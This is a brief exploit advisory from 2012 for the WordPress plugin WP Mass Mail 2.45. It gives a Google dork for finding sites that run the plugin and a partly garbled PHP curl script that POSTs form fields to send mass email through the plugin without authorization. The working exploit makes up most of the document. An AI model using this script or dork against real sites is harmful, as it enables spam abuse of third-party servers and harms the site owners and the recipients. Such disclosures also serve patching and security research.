################################################## # Description : Wordpress Plugins - WP Mass Mail Send Mass Email Vulnerability # Version : 2.45 # Link : http://wordpress.org/extend/plugins/wp-mass-mail/ # Plugins : http://downloads.wordpress.org/plugin/wp-mass-mail.zip # Date : 26-05-2012 # Google Dork : inurl:/wp-content/plugins/wp-mass-mail/ # Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr ################################################## Exploit : Send Mass Email PostMail.php "send", 'subject'=>'test', 'name'=>'true', 'from'=>'test@exemple.com', 'body'=>'body', 'address1'=>'test1@exemple.com', 'address2'=>'test2@exemple.com', 'reply'=>'test@exemple.com')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>